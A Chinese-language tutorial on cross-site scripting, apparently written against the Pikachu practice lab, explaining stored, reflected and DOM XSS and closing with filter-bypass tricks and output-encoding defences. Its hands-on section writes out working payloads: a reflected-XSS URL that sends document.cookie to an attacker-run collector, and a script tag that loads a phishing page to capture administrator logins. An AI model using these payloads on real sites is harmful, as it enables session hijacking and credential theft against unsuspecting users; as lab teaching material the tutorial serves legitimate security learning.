一. XSS原理
XSS全称CSS (Cross Site Script) ,跨站脚本攻击,XSS属于客户端攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
造成XSS漏洞的原因是程序对输入和输出的控制不够严格,导致"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害
二. XSS分类
XSS从利用角度分为三类,分别是:存储型,反射型,DOM型.
1. 储存型(高危)
攻击者传递的恶意参数存储在服务端,例如数据库中,永久性存储,稳定性强.
- 第一步. 在留言板界面插入钓鱼页面,跳出弹窗后输入账户密码登陆,存储型漏洞每次打开都会跳出钓鱼页面.
- 第二步. 登陆后台就可以看到钓鱼结果,查看账户密码,
2. 反射型(中危)
交互的数据不会存储在数据库,只会操作一次,把用户输入的数据反射给浏览器.
- 第一步. 右键查看元素,修改输入长度限制,
- 第二步. 输入<script>confirm(1)</script>提交,跳出弹窗
- 第三步. 我们验证漏洞的时候只要输入这行代码,会跳出弹窗来,说明可以执行攻击者的代码.反射型也储存型的不同点在于,反射型输入代码后只会执行一次,储存型每次打开插入恶意代码的这个页面,都会跳出弹窗来
3. DOM型(低危)
不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞.可以理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态的访问和修改文档内容、结构和样式.当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为文档对象,主要功能是处理页面内容.故可以使用Javascript语言来操作DOM已达到网页的目的.
- 第一步. DOM是每个浏览器都支持的一个接口,插入代码是一般是在a标签里,例如:<a href='" str "'>what do you see?</a>
- 第二步. 点击what do you see,页面会弹窗,一般来说DOM型作用不大,知道有这个类型就型了.
三. XSS实战
只要有输入且能输出的地方都有可能存在XSS漏洞
1. 劫持用户cookie
劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。
1.1 劫持用户cookie实战
- 第一步. 设置重定向地址 http://192.168.60.128:999/pikachu/vul/xss/xss_reflected_get.php?message='"> --用户访问的xxx地址 <script>document.location = 'http://192.168.60.128:999/pikachu/pkxss/xcookie/cookie.php? --获取cookie信息到攻击者搭建的XSS平台 cookie=' document.cookie;</script>&submit=submit --攻击者恶意代码
- 第二步. URL地址栏输入
http://192.168.60.128:999/pikachu/vul/xss/xss_reflected_get.php?message='"><script>document.location = 'http://192.168.60.128:999/pikachu/pkxss/xcookie/cookie.php?cookie=' document.cookie;</script>&submit=submit
点击访问.
- 第三步. 管理平台--XSS后台查看cookie搜集
1. 框架钓鱼
利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器
1.1实战
- 第一步. 找到C:phpStudyWWWpikachupkxssxfishfish.php,将ip地址修改为管理后台的ip.
- 第二步. 输入代码:
111'"><script src="http://192.168.60.128:999/pikachu/pkxss/xfish/fish.php"></script>
- 第三步. 跳出弹窗,如果是管理员访问登录这个页面,那我们就可以拿到他的账号密码
- 第四步. 我们来到管理工具--XSS后台,输入账号密码进入后台,查看钓鱼成果.
四. XSS绕过与防范
1. XSS绕过
- 前端限制绕过 --抓包
- 大小写混合 --phP
- 拼凑绕过 --<sc<script>ript>
- 编码
2. XSS防范
- 对输入进行过滤,对输出进行html实体编码 & (和号)成为 & " (双引号)成为 " ’(单引号)成为' < (小于)成为 < > (大于)成为 >
注:本文用到漏洞平台为pikachu